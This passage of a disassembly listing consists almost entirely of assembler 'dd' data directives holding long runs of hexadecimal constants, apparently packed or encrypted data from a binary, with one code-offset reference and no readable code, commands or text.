		dd 4C30E800h, 0D75B9B56h, 8D54E534h, 696C3672h,	0D42B7DE1h
		dd 0A4D3E812h, 254AB723h, 0E300FBEFh, 0B8448800h, 2 dup(0)
		dd offset loc_437000
		dd 72C5434Ah, 1, 3FE40000h, 684F20FAh, 85A8BA78h, 91F4021Fh
		dd 0E05D048h, 0C66381A5h, 3C628D82h, 399A1442h,	58B83C30h
		dd 0A412D4EBh, 0D1A22492h, 4587BF39h, 9F56350Bh, 0ACFBD2Ah
		dd 2F2F303Fh, 0CDBCD7C3h, 91DAC0B2h, 0F3FD1EB0h, 0E2606301h
		dd 86DCD4h, 0AFB4BA4Fh,	0B16107A4h, 0BE818A5Bh,	0B3FC321h
		dd 4144EC8h, 5E621C1Eh,	0EFF3928h, 881FD854h, 0C4D69B4h
		dd 90791408h, 61F8EC16h, 4808E1CAh, 0BF964230h,	0ECE2FCFFh
		dd 41B36015h, 91E112C9h, 781FA0DBh, 4598E1FFh, 0A69137C6h
		dd 0E2E79699h, 0CF24E0F1h, 49079F5h, 0FB406FDCh, 6B468071h
		dd 5AABA1F8h, 6078B9ADh, 0BF660CADh, 0C45C5968h, 312A370Fh
		dd 0E6060B89h, 76F3CACh, 0CDA207CAh, 0A202F14Fh, 0F7F76908h
		dd 0E02BB5F6h, 0D6069A0h, 0B1D7F5FEh, 106F5911h, 21AC642Dh
		dd 672CBD0Ch, 0BC5A07B8h, 0F746D1EEh, 0E325BD81h, 0B89424D9h
		dd 3FAFEDEh, 0A8C536Dh,	0FB58834Eh, 0E8B02819h,	3E1B662h
		dd 9B8D8FB5h, 449B386Dh, 15DCF56Eh, 498B5B2Ah, 895C3C32h
		dd 6BFDE08Ah, 917EF06Eh, 0BCD271EAh, 0C39535B0h, 0AFA3B39Dh
		dd 0E74A9202h, 6A207981h, 0F8C32773h, 0BA0D58D4h, 77E5A194h
		dd 875625A3h, 95A1BBFh,	0C7467CBh, 3A81F54Ch, 23A8BFB1h
		dd 61384C02h, 0EAB4D2CDh, 790680CAh, 48CC3C31h,	6AD59E3Ch
		dd 62F850CDh, 37F7F1A8h, 3152C073h, 57CF43F1h, 0BD61CD1Ch
		dd 0CA14C2B0h, 0DCF495EEh, 449C036h, 0F806ADFh,	3BA97FDCh
		dd 435216EBh, 415712ADh, 0C0F0FDDAh, 6DA7DBC6h,	0CFE56D78h
		dd 7B36AC52h, 96B9ABC6h, 0F44488F6h, 260F2089h,	0C677D293h
		dd 0B6726FF7h, 21A38BE6h, 0E07A7B2Ah, 0FD4BC8AEh, 0BC1F777Bh
		dd 676CBC05h, 0E2923095h, 4A02A11Bh, 443FC8FDh,	8D979FCBh
		dd 56EEB6D8h, 0E2C2C703h, 27344BC1h, 762AC1D7h,	6341B463h
		dd 773E35B7h, 397F81F9h, 7BA316ADh, 3A5B566Ah, 0BAD5D529h
		dd 507211Fh, 7771A317h,	0A43A3FD5h, 54ADBB3Fh, 5FCAB1B3h
		dd 0B481D3Bh, 4D724F5Ah, 0F37A345Eh, 0E6CB2FE2h, 0D40CEA75h
		dd 568E37F5h, 30E0E2FBh, 40E0428h, 32CA3415h, 0C3ADC294h
		dd 4AF2D918h, 508A2754h, 14A9AA6h, 0BE50BBE6h, 789A6A26h
		dd 6E407FE0h, 642222F7h, 36DAA667h, 0F82D4541h,	0B317CE1h
		dd 32DDF774h, 0FC0B6A3Fh, 0C5E995EBh, 938B013Bh, 836EACC8h
		dd 0AF01FFDFh, 9F87F711h, 2BF56FD2h, 0E6E29E49h, 4DC8B135h
		dd 5014C207h, 0AE922FF5h, 0C165E379h, 0F802DF2h, 0BDE8AB0Ch
		dd 0D38F6109h, 897C7F20h, 345A890Dh, 0E12FBC10h, 79A20487h
		dd 1382B861h, 0D0BFFD30h, 0E38322E1h, 0C0408197h, 77D3E081h
		dd 0CF1C6025h, 58C0A594h, 0DF4B62F1h, 0BFC0F824h, 0A311E404h
		dd 6A34ED0Bh, 68A66FB6h, 0C95ED562h, 0FB1AD19h,	0AFB05B06h
		dd 50D91DE5h, 45F85F91h, 86176878h, 154A1429h, 0EB81C0E1h
		dd 0DA098AF5h, 0B7854301h, 8A8E88AAh, 494B0BCh,	0FCACD14Ah
		dd 9E5E7170h, 5B9609CFh, 0C1D75D4Fh, 61B9DF0h, 7C2890Bh
		dd 0E9913E87h, 27928A62h, 9A0E3FC4h, 0DEF5073Dh, 5CEE04C1h
		dd 4B141B86h, 0DADBF73Dh, 67428E0Fh, 7E6A95F9h,	0C240B693h
		dd 52E8B3F7h, 0FA728352h, 56D5817Dh, 0BEB53F98h, 2F3326B8h
		dd 0C2477BD0h, 5FADF81Fh, 0B059CA04h, 0D600AEAAh, 9FC350A8h
		dd 95BCB781h, 7B4AC724h, 0F9C0F1Eh, 0A708B695h,	7F6A1DB9h
		dd 3C8CA6C7h, 0F5400B9Eh, 0C1007F7Dh, 600791A6h, 3405A75Dh
		dd 301AD96Fh, 5419469h,	7AA06AA4h, 0DA9E3317h, 0E4AC2CBCh
		dd 2B83B361h, 13CCB99Fh, 0E555A805h, 8A540F6Eh,	3784E462h
		dd 0BFDE14E2h, 2ADA56F2h, 440508A4h, 42C2A5C7h,	0CBBAA547h
		dd 0CD5A02BCh, 0B7FA5D8Eh, 2BFAD1BDh, 0FB3E541h, 0AD29DD02h
		dd 0AEFB94B4h, 0ECD7D580h, 0B6B012B5h, 0B50E74Eh, 5A87DACEh
		dd 89A562B2h, 61338682h, 0C0EE9634h, 8B7CC0Ah, 0E691B724h
		dd 129DEFD0h, 160AC922h, 3F51E277h, 8DC85476h, 9C0FB479h
		dd 2D90B3D5h, 24A08759h, 1E92FF38h, 0FC348A16h,	2F727A7Eh
		dd 0BD05AC6Ch, 45039415h, 0BDC037CFh, 0A3D3B17h, 72AF523Ah
		dd 0ED9CB9C6h, 0DA2E68DCh, 0F54B07BFh, 1DBFB93h, 0CDB717D7h
		dd 7A914158h, 0AF6F15Fh, 0FE02A758h, 9B037277h,	6FEF5CB5h
		dd 0FE89C389h, 0FB457B52h, 230A364Ah, 836DE0F0h, 0E08E2019h
		dd 7B52F061h, 9EBF6EDAh, 68B78B21h, 0E9AD2A61h,	9B067184h
		dd 1EE58EA2h, 0B6186F55h, 1AE0816Dh, 0DD1DDCA9h, 0F85F607Dh
		dd 0CFC7CD8Ah, 3ED08D7Dh, 0D7B8D434h, 91C1DB77h, 0E0915F9Dh
		dd 5CACE6B2h, 4CC18BF4h, 0FD8EDB3Bh, 0DE51C2ABh, 88D6A4F0h
		dd 2CD9B83Ch, 3F1B2E28h, 23205EBCh, 4C68D654h, 0A7A67DA5h
		dd 3FA0AF41h, 76B3F0A0h, 5597ADDBh, 0D9532A13h,	0F353151Ah
		dd 8061516Ch, 43223BCh,	5119DE7Fh, 0EE227813h, 0AC3595A0h
		dd 865C9D93h, 7E02916Eh, 802B637Fh, 758E9294h, 0E1056652h
		dd 7E1E0B37h, 86E4868Fh, 0B0D858DDh, 0C036FFCAh, 0CB59B1EFh
		dd 6E4AE221h, 508AD3C9h, 6158AF50h, 8D1210DEh, 59F07E1Eh
		dd 63D450C0h, 14FEBA63h, 2C03EC5Fh, 0C6FB0A57h,	745E9E34h
		dd 0B6513A82h, 0DB14C8BCh, 0B7D734AFh, 892BED6Eh, 79D03AA3h
		dd 1C91BBD3h, 0E3E0BE10h, 9D708F62h, 0C0213BF3h, 567B7C11h
		dd 0BE19A947h, 7F5C0EFEh, 56EAEBF9h, 4ECEEAF1h,	5898A896h
		dd 0AF12EAFFh, 52CC1D6Dh, 0F2D279F9h, 0CCD0F8D5h, 61145F80h
		dd 621032B2h, 9A45B16Eh, 0E74932FCh, 8E067E04h,	0FED73DB0h
		dd 3C59EBB5h, 25D4E0B0h, 5504C483h, 470E0BDCh, 9B46E722h
		dd 37FBD9C0h, 5215900Fh, 7BB82334h, 978B8CF0h, 88211F16h
		dd 0DA0DF6F1h, 0D656AB76h, 0A7A88980h, 1F6B2025h, 8424689Fh
		dd 50298035h, 21F87B3Dh, 45ADF241h, 11DE49F5h, 7AC55AD1h
		dd 3182EB71h, 0EBC54C0Bh, 117C7846h, 364400B7h,	22114895h
		dd 0D73DF25Ch, 0D56F6Bh, 143C0AA8h, 0D6168B78h,	0C504FB6Ah
		dd 25710677h, 71EB5D4Fh, 133E8B3Ah, 0DD6E44A2h,	3BD6B938h
		dd 0D634626Ah, 0ABDA0F15h, 0CD43A279h, 0FF7EE933h, 0F7F08534h
		dd 6F7C1C8Eh, 9E7BEA81h, 4A5CB36Dh, 361E22B7h, 0C2D3A66Ah
		dd 41894108h, 0C1DF2F63h, 87B37F8h, 0B6DA4A3Dh,	0C966F9CDh
		dd 3C68DF0Ah, 0D7AF5159h, 7BF6AB17h, 0D8CCA8FCh, 0F83CED6Ch
		dd 781FBE1Ch, 0A5E4EDAAh, 2778841Ah, 74989D5Ah,	7FA56546h
		dd 54D7371h, 1F863EF2h,	8FD507DDh, 0A7F71F89h, 0E2FD8312h
		dd 5C4BE0CDh, 4EB43EA2h, 9E55CD79h, 0BB73F42Ch,	1761DE5Ah
		dd 36E3EC4Ch, 0DC1E80A2h, 40844E35h, 6666044Dh,	63ABE7E7h
		dd 0E0B2EB21h, 9A49CD62h, 830F4883h, 0F4D5B292h, 46644382h
		dd 8BDD33B4h, 99BF5C9Fh, 0E148847Bh, 21C08B36h,	0D988A565h
		dd 421BBB89h, 6DF0768Bh, 6FECA6BEh, 7F6F6E8Ah, 8AD1CD86h
		dd 0DB67A8DAh, 429FFD6h, 0DBDB0FC0h, 77AA253Bh,	5560C7B4h
		dd 50FCFCDCh, 16BC7020h, 6D961E3Eh, 0A9956C9Ah,	181F2F9Ah
		dd 0D86F6871h, 258E7706h, 0C18D26D7h, 40672CF3h, 0B589A9D7h
		dd 2EB10BBDh, 0E1C84626h, 2BACD10Ah, 0FF46AA1h,	451EBBD4h
		dd 751416E0h, 0B7092563h, 443A9DCDh, 31FA2E5Fh,	0A6802F7Bh
		dd 0A89625CEh, 3F7AF9Eh, 705A2BC5h, 0BF8DF07Ch,	0B019AC6Dh
		dd 600A8FD6h, 95DEF71Ah, 2B94EAE3h, 0A8461410h,	0CAA1801Ch
		dd 0BA9E8E4Fh, 57C6B030h, 40A6EEE2h, 718E7C6h, 2FED914Fh
		dd 3B749E95h
		dd 24B3C85Ch, 0F5A9080Ah, 7DB4390Bh, 7BA2C60h, 398AF9C5h
		dd 0C2B807B5h, 3EF5CAC5h, 0B5860D12h, 16BA213h,	78C55EBh
		dd 6897C5E7h, 0E6A8930Dh, 0C4FEE961h, 0F0605F18h, 0C2B791BBh
		dd 7F967C55h, 0D3DC1CA9h, 4764F2DFh, 4DA297F5h,	73ED317Eh
		dd 7723173Dh, 0ADCA38F4h, 27F4C0C1h, 5ED1B706h,	6C4AA835h
		dd 4712EBDBh, 5A323D0Ch, 5FDC3FA4h, 0ED7D011Ch,	0D497BE07h
		dd 3FF0B81Ah, 260CE359h, 7C61895Eh, 7FB0EB2h, 291EEE47h
		dd 9842BAE6h, 0E77370A6h, 0A4872B35h, 1B5C52D1h, 52EA40A0h
		dd 1420F489h, 2A05BC1Fh, 538AA722h, 70FDB37Bh, 0DE1DC7E9h
		dd 0A56632B7h, 2A2520B2h, 9ACE53F4h, 2797D97Ch,	968704C1h
		dd 6331ED42h, 6932A2B2h, 49E5CFB4h, 22432A84h, 3FE88434h
		dd 0E2DFF051h, 0F0E5602Dh, 793EE51h, 0D2EFCE4Ch, 36BAE590h
		dd 0B4350BFEh, 0ACE209E2h, 846D078Fh, 0B8650462h, 41FA42FEh
		dd 0B3694F63h, 3A0D6FB4h, 538A10F1h, 0F3FB5B5Eh, 8B9439FEh
		dd 69ACEA36h, 5D49AB1Bh, 0AF2AF456h, 990B241Dh,	6E62C62Eh
		dd 4E3DBC0Bh, 0FD31D897h, 10FD89A2h, 46B3653Ch,	0B49FB11Bh
		dd 640620A8h, 90FE1ACEh, 5ED57617h, 0CCF4FDBBh,	0CB4F79BBh
		dd 109569BBh, 0A82DE5B5h, 116C7E40h, 0A95C60FDh, 3EA456A2h
		dd 90B25A09h, 0F042D72Bh, 33D1AEBh, 8646C4B4h, 0AC1409E4h
		dd 3171269Ah, 3EB90DE4h, 33029D25h, 6045277Fh, 50125032h
		dd 31073809h, 457480A7h, 7E3BA11h, 0E9028232h, 9F50022Ah
		dd 35C74E22h, 0E3E212A1h, 4F77098h, 0C11931E6h,	3023384Ch
		dd 45FA4E81h, 0BD0BD01h, 7A02C0C3h, 21F38604h, 30269F2Dh
		dd 3FB8102Ah, 0C902A501h, 28305014h, 2C3911Fh, 9D1EA782h
		dd 79880481h, 13425B03h, 0F1B03518h, 156831A4h,	18101514h
		dd 2B305288h, 678F4B00h, 551E4711h, 0D0109670h,	72920823h
		dd 0E7AA1599h, 8E04B8D2h, 422A707Ah, 0EA402FF3h, 9EE3466h
		dd 0EE8EA08Ch, 0CC282800h, 0CD073E2Bh, 1748A709h, 7B8AC7A0h
		dd 0A4097302h, 6F4F202Fh, 0D143CA0Ch, 8E3D4620h, 0D4534751h
		dd 638D1424h, 46281354h, 0C69F1863h, 0A8555432h, 0B1D13206h
		dd 0DBF53798h, 996A78F8h, 0DDAAF433h, 37ACB423h, 7235B727h
		dd 6091C6E6h, 9F4ECB27h, 0E5A71F94h, 268BF1ADh,	0D017AECEh
		dd 7A108B02h, 9835E347h, 7F1132D8h, 5BB783Ah, 7BB1A5D9h
		dd 4C959A95h, 0D8E74552h, 97868F4h, 699FE22Ah, 5008559Ch
		dd 0F21F4AA5h, 0D61DDEF5h, 496883AEh, 71750CD3h, 0DA559666h
		dd 0FC25FE7h, 60A73C37h, 9CC253A0h, 5992F6h, 1ACD869h
		dd 85D68B8Bh, 62531768h, 3747DEF5h, 0F6747D93h,	7B001A47h
		dd 64B366ACh, 0E7B81AE2h, 56FF8979h, 17E01EB6h,	0BC4887F8h
		dd 5C4EDF2Dh, 0FDA96675h, 20D6E6Dh, 17E74FBDh, 683110B3h
		dd 0E5B891B9h, 0E02405FDh, 3677B2DCh, 0D7F10225h, 0E40D33E3h
		dd 2E1E305Bh, 0FCE7F919h, 7FE90C09h, 0BE2CA3CFh, 0AD6B487Ah
		dd 0F9FD2E55h, 28B6CC79h, 5B33B83Ch, 61D504A7h,	8E7A75A3h
		dd 9B1669B4h, 0C676A1F8h, 0BBF9D12Eh, 89DED13Fh, 0A8BDF0DBh
		dd 0F0FC08CAh, 0C08641BAh, 0D30364BBh, 773E15A3h, 3814EBDDh
		dd 44F0D31Bh, 12B9C3F1h, 0EC6CF54Ah, 97558295h,	0ED4C162Fh
		dd 0F8E3157Bh, 0E1A52FB8h, 5A147CDEh, 87A88F40h, 0E9DAA22Fh
		dd 799AA010h, 0EC079589h, 81C12FA0h, 0FC4505DFh, 0D8892490h
		dd 1CC15553h, 0C99BD50Dh, 0C0F6F115h, 0A3B04548h, 3104217Ah
		dd 0BCBBE158h, 0A0CE52A5h, 0E5EC010Dh, 4E24C056h, 91F9081Dh
		dd 53D40545h, 1F025AA4h, 72684A22h, 0A0592896h,	0FD717B29h
		dd 8071C124h, 33C64AEh,	3BED6F85h, 0DFBC8EB5h, 0BA5A00ECh
		dd 0A8051595h, 0A0B7369Eh, 95B59D8Bh, 4252F0E1h, 0A4B200D1h
		dd 0CF07AE06h, 0C0F0F23Fh, 9C91CB0Ah, 5004F777h, 0D4ACA5D1h
		dd 0F86EDE5Fh, 0F4689768h, 1F4A84B9h, 0C4D77E1Bh, 6D1B52ACh
		dd 3A8E48D6h, 6FD77947h, 0E5F1A762h, 753DC644h,	0F6C7257Ch
		dd 0D63012D1h, 3462D44Dh, 2FC03C8Ch, 0EC7EF953h, 0A76DEDE9h
		dd 6E3D1075h, 0B40BCE7Eh, 5A85ACC6h, 0A69963D7h, 3651A39Fh
		dd 0C77A4142h, 3E8A4BEDh, 2B083C03h, 0ED4AB71Ah, 43FC0AC9h
		dd 2BF5291Bh, 9CAB7F1Fh, 3E048DFh, 8ACF0D5Bh, 0DDE38D1Eh
		dd 0F17FC147h, 67A3B434h, 0B276F106h, 63D0AFE1h, 83138393h
		dd 0A35DFAE2h, 16EA3141h, 0A89855EAh, 0B7BE7E9Bh, 86A8CAD1h
		dd 195AA7E4h, 0D824E72Dh, 781F694Dh, 37C2F4B6h,	99AE9CBEh
		dd 23F0B836h, 0B579DD70h, 155F32F5h, 1655F0ABh,	0D522A06Ch
		dd 0F1C24E43h, 0CF3A50BEh, 0A50F0657h, 9CC8B45Ch, 5763D589h
		dd 85A2607Dh, 0CD41180Dh, 0FF44C7D4h, 31C0DA14h, 0A6177E20h
		dd 2EC8145h, 0E2A48579h, 0F9D47A08h, 0F823BBF0h, 0D7E56521h
		dd 3550DC41h, 66B169B1h, 2E0C2297h, 0FB9B7F35h,	9725E582h
		dd 8D080353h, 0DDC1188Fh, 139420E5h, 0BEACF4F9h, 88EADBD4h
		dd 7F8A7E34h, 4114C1B2h, 9CC046EDh, 8098FB22h, 0B6D22F0Eh
		dd 3BB18697h, 755873AAh, 0F212D91h, 0AEF2054Eh,	0CFC45CB9h
		dd 34AC759Eh, 0DBFA45C3h, 72AB7CEBh, 0FA75DDF6h, 0D4C25D56h
		dd 44B2A2AFh, 0F7E5C555h, 0EF393181h, 748B7D1Eh, 74ED2DCCh
		dd 3E42F403h, 0C0FD17BBh, 79BF4D5Fh, 0F87FC95Ch, 86C742FCh
		dd 0ABBCE4AAh, 56B19E2Dh, 2DC7EA9Ch, 55AAD68Bh,	7113DB8Dh
		dd 2F8208DBh, 2233C335h, 17338B87h, 5A7516DDh, 48AB3783h
		dd 0F91A6FCAh, 0A7C46DAh, 0A1FD8B24h, 0BD4C8D4Ch, 5B5F859h
		dd 0B4E857CAh, 815AA24Bh, 9CC6521Eh, 5DEF901Ch,	0F8A9288Ch
		dd 165A6127h, 72615A3Ch, 0D4543DB0h, 5BCDDF29h,	102BBF1Fh
		dd 0D400D66Ah, 9E8CC9F6h, 41C2C3E9h, 71ABAC6Eh,	0F3725603h
		dd 9989DA25h, 0F7A6D440h, 0BCB9D4E0h, 0C3D982Ah, 5E59674Ch
		dd 5572252Ah, 0B0CC9DAh, 0A6BEB119h, 3F526DB3h,	7F0F2158h
		dd 38C32567h, 0FBF0C0C9h, 8F5C007Eh, 0E545570Bh, 24C9E9D6h
		dd 650912ABh, 6A977C2Eh, 8B1FA573h, 0B0854873h,	98E8479h
		dd 1D8C224Eh, 0C528D6DFh, 1F822213h, 35EC1F0Ch,	1C3C0F89h
		dd 840B0F58h, 98EFB73Fh, 0EA116173h, 0BB4646F8h, 0B427DEACh
		dd 3CDC1FDEh, 0A6064687h, 31630769h, 2D515CACh,	40F99253h
		dd 0C4271CC0h, 376CFEDDh, 25A61A09h, 4D653B43h,	20A43AF6h
		dd 4C12E361h, 762540D1h, 0E2F3D110h, 36B62A65h,	1A362A1Dh
		dd 662D0F31h, 0E1E807BDh, 1F6C5FB3h, 9EA2A477h,	98781407h
		dd 0BB600B28h, 0A867311Ah, 9636EF5h, 83703846h,	0C4C124F9h
		dd 2A570D4h, 0EF447C8Fh, 46F4A696h, 4FCB75A3h, 0BDD1201h
		dd 0D65D859Ch, 9747A595h, 60A61604h, 13BD44DCh,	0C5F8D149h
		dd 69FC8396h, 4920B50Eh, 1473CDAEh, 43546BB6h, 491540A8h
		dd 1C3714AAh, 0A76BCD50h, 0D1CC895Dh, 0A675DF3Ah, 8B6B8CCEh
		dd 7738AC0Fh, 83500B8Bh, 0C6343C28h, 63C6A29Fh,	44A3F52Dh
		dd 6D5B9DE2h, 9B7C00D0h, 0E9B6CD22h, 0B84FA89Ah, 0FEF24564h
		dd 7DAA00C7h, 8D8510F3h, 352A429Ah, 3B8FA584h, 0D9AF8E0Bh
		dd 0B54E7814h, 0D842D81Fh, 0B7C55F52h, 1A97E6BFh, 0C81D50EFh
		dd 966759C9h, 68BD42E6h, 0FB130FF0h, 6A5D5FD7h,	0E7DC01B4h
		dd 88D7EB06h, 0EE50F03Ch, 0CFE5DB8Bh, 5AA328BEh, 0F4BD1F75h
		dd 7A22BE3Bh, 0B4F2F3B6h, 7709B124h, 168DC41Bh,	0C8644EAAh
		dd 0C5D2A71Dh, 0BF60D679h, 1AACC277h, 0D5C5566Fh, 769E6F2h
		dd 2466E29h, 0CA51B3D7h
		dd 79DCF9B7h, 1FDABB8h,	0CE073F1Fh, 0B14E3555h,	415DD54h
		dd 0F075B3D9h, 0C05712DDh, 4A09CDCAh, 6CF9CD32h, 4B3396B4h
		dd 4B2122C4h, 815C9F12h, 92D87A2Fh, 8FD67A00h, 0FBC78B07h
		dd 0BA4C4981h, 5F2F7830h, 8BA0F8Fh, 0D851C82Ch,	0D6BDF970h
		dd 0E770EFA8h, 0F24C7607h, 8B6BB192h, 88E2DD6Ch, 3DD33E57h
		dd 9DCA5683h, 2934FD90h, 0A73E5A5Bh, 51B41986h,	0CC615894h
		dd 0EDCBC0A1h, 82E80187h, 74CA03DDh, 0B333C76Eh, 74E88434h
		dd 0DAAE68D4h, 1FD39AA5h, 0A99AE82Ah, 0DE219DF3h, 43F0010Eh
		dd 48DF8783h, 0E87988h,	0CA01D3BEh, 0AF85AF48h,	0A1BF9C5Bh
		dd 0C9E27ED8h, 0ACCE3508h, 468B55A7h, 2F6832BDh, 0B1FB7AD1h
		dd 3D8DCCDEh, 5EC68293h, 265F6962h, 7DBA24D1h, 0BEFDB28Ah
		dd 416320CBh, 509B07C6h, 0EF04ECF2h, 2285701Bh,	0BAC02813h
		dd 0C12191B4h, 53A8418Fh, 2398F82Ch, 1AE5725Ah,	8C77852Fh
		dd 4EF55711h, 65AD356Ah, 0A2267204h, 50FCC0CCh,	0DEC163BBh
		dd 317D4619h, 0C94016A7h, 85DA3041h, 0F7C65515h, 1607E5BAh
		dd 0ABD4F54Ch, 0F9FBCFB0h, 56D2E765h, 0E2117DE6h, 2465D4Eh
		dd 6CA0BEFBh, 0CE74B7C1h, 0DB9017E3h, 0A087E100h, 0BE444CEFh
		dd 5F85FE57h, 0C728CB80h, 1569E3D3h, 80CE3898h,	83A84E9Ah
		dd 29CA695Eh, 5E85C271h, 0CF7E59B5h, 0A79F5F95h, 0C4F58B37h
		dd 2EBA770Ah, 584954A6h, 2F84DE9Fh, 0E9492412h,	580BB132h
		dd 65D05D1Ch, 0DA3E6FFBh, 74C906ABh, 317FF86Dh,	0A2CA7673h
		dd 0B36D051h, 72FB03Eh,	490E82B7h, 0F22FE8C2h, 7448D4CBh
		dd 0B339BCE9h, 9534BF03h, 0DE9FD8C8h, 9D46A937h, 0AC6A4A0Fh
		dd 0A39722B4h, 342E7DA9h, 57B1D398h, 0CBCC56DCh, 0A80A7D1Ah
		dd 33B1B392h, 6D653A43h, 0FB68A5FFh, 0ECF4A880h, 5F96DFE9h
		dd 0DEB9909Eh, 45C3A253h, 0FC68E04h, 0B8C8B73h,	0DF3A4C77h
		dd 0CFA329F4h, 84A58879h, 47525A28h, 57E77F75h,	8FA72E86h
		dd 7E90079Ch, 0C4AF52C7h, 0EDB62596h, 4F7263E2h, 72EE6063h
		dd 167705BDh, 0FF887F5Ah, 184D0138h, 88DE637Bh,	0DF3A84E6h
		dd 133C07C2h, 0BB8F228Ch, 4F2D35CFh, 5B0F27B4h,	79227B43h
		dd 0FEFC8CAFh, 1321C1C7h, 6BE72770h, 0B0DA37C2h, 0DD4F4DDDh
		dd 81F535D9h, 0E056E6B5h, 9FFD0FC7h, 0B5AA3F5Bh, 0F54CF9D6h
		dd 6BE59BA6h, 17CFAF67h, 0B25C591h, 33798C3Fh, 4936AF35h
		dd 6FEB3B81h, 58DBD8F5h, 549B0394h, 0FC50A563h,	0E2FD08D4h
		dd 27125A96h, 650BD4A4h, 6AA14DE6h, 0BBD846ABh,	9341136Eh
		dd 70781E76h, 452FDAE1h, 5EB4D0D3h, 6D995619h, 81A6BFFAh
		dd 5B64AB52h, 0B44EF93Bh, 5F206F24h, 5B5BA501h,	7B8AD8BAh
		dd 0E9FB8C43h, 96B4D8F1h, 2F7B85D5h, 159002BBh,	10A2A184h
		dd 120BB99Dh, 13FDD297h, 0F97E13F9h, 618BE07Ah,	0E7823627h
		dd 9F852B2Bh, 0AE706E0Eh, 0B9DC7477h, 0B5B89C5Fh, 7E29D0B4h
		dd 0EF650C29h, 0A0DCCF74h, 12D74689h, 0C00BE626h, 2B25D709h
		dd 90D05779h, 0AD0A63Ch, 0FC276BF8h, 45D6B5F0h,	99E3F74Ch
		dd 755961C0h, 0DBA2D5F8h, 2A511441h, 6F8CA9D4h,	0AFD27C64h
		dd 0B3AE15DAh, 33788CE5h, 0CB648294h, 6FE39C3Ch, 3A41F7Fh
		dd 0E2330A97h, 0ADA2E57Ch, 5BA26E7Bh, 484A80AAh, 87AF299Fh
		dd 0FEB8181Fh, 846F5DB4h, 3897E992h, 0EB72BFD5h, 3252BAECh
		dd 0A93E1B47h, 0B703ADB1h, 226D0D35h, 2AF362CEh, 886F2E15h
		dd 74227B56h, 2E56ADC6h, 8C587C50h, 7A14C0AFh, 4CC10E63h
		dd 645E758h, 351FD71Fh,	9DAB3BCBh, 0AF7C4F85h, 0F15B0BDFh
		dd 4F892E1Bh, 4BF3FA2Dh, 0C3D58A7h, 1123F901h, 0C5D1E45Ch
		dd 86B334E9h, 7C93A2C8h, 925B5F8Ch, 0E7DBAE6Dh,	0E8BD6FC0h
		dd 0AA04F3E2h, 76860C4Ah, 2DC31C7Dh, 0E78BB2E5h, 0B4FAD84h
		dd 417CB99Ah, 0AC3D474Bh, 0AAD15C5Dh, 342B1C5Ch, 933FF9BAh
		dd 0E5837532h, 0DDC5F607h, 48698779h, 0B469BADh, 562275h
		dd 4BCDC74Ch, 0EE4CB99Fh, 2CE431CCh, 0A42B12E4h, 0FED64801h
		dd 391639D3h, 3A2DC50h,	0CDA93C3Fh, 1B8F4DABh, 5B05F58Ch
		dd 3C161201h, 0BCBFDC62h, 62F1EA24h, 68352275h,	0C4196E16h
		dd 225BDDAAh, 8BE505A4h, 2CFF0852h, 7566F654h, 0AA9A6C3Eh
		dd 0C26E7356h, 609DADD7h, 0A0DF30A5h, 3AF5AB5h,	66A48E51h
		dd 725E29A2h, 0AFF5B06Fh, 1EA41E14h, 2F9A9D02h,	5789C461h
		dd 3B883752h, 0FBEF4239h, 65E5A783h, 567536AFh,	28874357h
		dd 0D23F0467h, 58525382h, 53BF8969h, 5BB1DD62h,	0BC0111ACh
		dd 0C7DA1257h, 0DDFCED7Ah, 208420D6h, 0D9CE29D9h, 0EEA7D10Ah
		dd 38F0F1B4h, 2636DA74h, 7D96FC7Fh, 15CED30Dh, 935AD4ADh
		dd 8EE2762Ah, 0E2FCC0F2h, 4AED3872h, 610D2DACh,	0CFCD907Ah
		dd 68867FC2h, 0B171BB53h, 5322CA91h, 85C27B45h,	0FDD40AFDh
		dd 90FC349Fh, 0A20F703Ch, 0A8EF0E2Bh, 68980ACAh, 94A7B39h
		dd 0E33A589Ch, 9E6F7CD1h, 0CACEA368h, 69D1623Bh, 0E0B30783h
		dd 28A2DFF2h, 344E12F4h, 0D6A35066h, 87A85B5Bh,	50DEC4D6h
		dd 0F03E58B5h, 4247DEE6h, 773D1B4Fh, 1E53452Eh,	53E7DC29h
		dd 445FB087h, 5FEF1E6Bh, 1F8B1E25h, 6A37C96h, 5A68EB67h
		dd 2AF60AA1h, 0A6CF5645h, 0C7298A25h, 0A7A00F5Eh, 0EBF3D10Bh
		dd 78A9DCB6h, 0EC5FE699h, 6D19BAD3h, 0E6B40875h, 55E77CC5h
		dd 4FADF5FBh, 0F1AAC10h, 0E7141C3Eh, 0E4C51381h, 0DEDFA4D6h
		dd 0A3E1FCD7h, 5EBE2616h, 0BF2996ECh, 0ADE88AA6h, 0F5BB5A41h
		dd 1585607Ah, 954268Ah,	4553E43Ch, 0B8699F0Fh, 0CD2D4CABh
		dd 15956DDBh, 6215DA50h, 0CFC6461Fh, 5323716h, 260BAE34h
		dd 393D9E6h, 0FF7C0477h, 45B4D3C5h, 0A515E9CAh,	564B6A56h
		dd 3942AF2Eh, 58CC08F1h, 0CB03993Ah, 0A20AEB7Ah, 76A96ADh
		dd 9E2D5375h, 14F31EB8h, 55BC4ED1h, 0A97DCFFAh,	8BF00F8Fh
		dd 4ABF9D4Ch, 2E07E61Bh, 44F87CBFh, 0A133AFBCh,	0DA292763h
		dd 4D21ADB7h, 0CB26F9D9h, 54FB5D14h, 0B2D8537Bh, 0C21E9755h
		dd 629497BBh, 0EEB1B65Eh, 0E79604FAh, 0CAA17608h, 71B45546h
		dd 84E7C3CCh, 4C2C0DA6h, 0F80A552Ch, 0C07B2968h, 4290800Ch
		dd 8F03387Eh, 0A1DA65DFh, 1198F5AAh, 0CA342A04h, 81E23891h
		dd 70CEE099h, 223F6ADh,	0FDDEE2Ch, 0A07E677Bh, 5A24856Ch
		dd 7F3492C9h, 548A5D6Dh, 1C5F773Ch, 0A5CAEF23h,	0E920D51Ch
		dd 0DF97B6A3h, 0AE834CC9h, 7CF35CEh, 61825730h,	0B85A95B9h
		dd 4FB31409h, 0B63A3565h, 0CFE6C004h, 0C257FFD8h, 0D2AA110Fh
		dd 6A71FE5h, 9717369Eh,	62EBBA9Eh, 3AACA7E0h, 7B70DE43h
		dd 1E09E9Fh, 0E4B35C77h, 0A16DA032h, 3D22A040h,	3521B197h
		dd 1F5B6169h, 180A87BFh, 79D142D9h, 6FD19FDEh, 2C3C88BDh
		dd 0A4EABF97h, 18BAAE16h, 0DE5E532Ch, 0BBA55CF1h, 8C169DCFh
		dd 39AEF722h, 9BEB95Fh,	0FF4A0AC0h, 461FF0F3h, 156FD3F6h
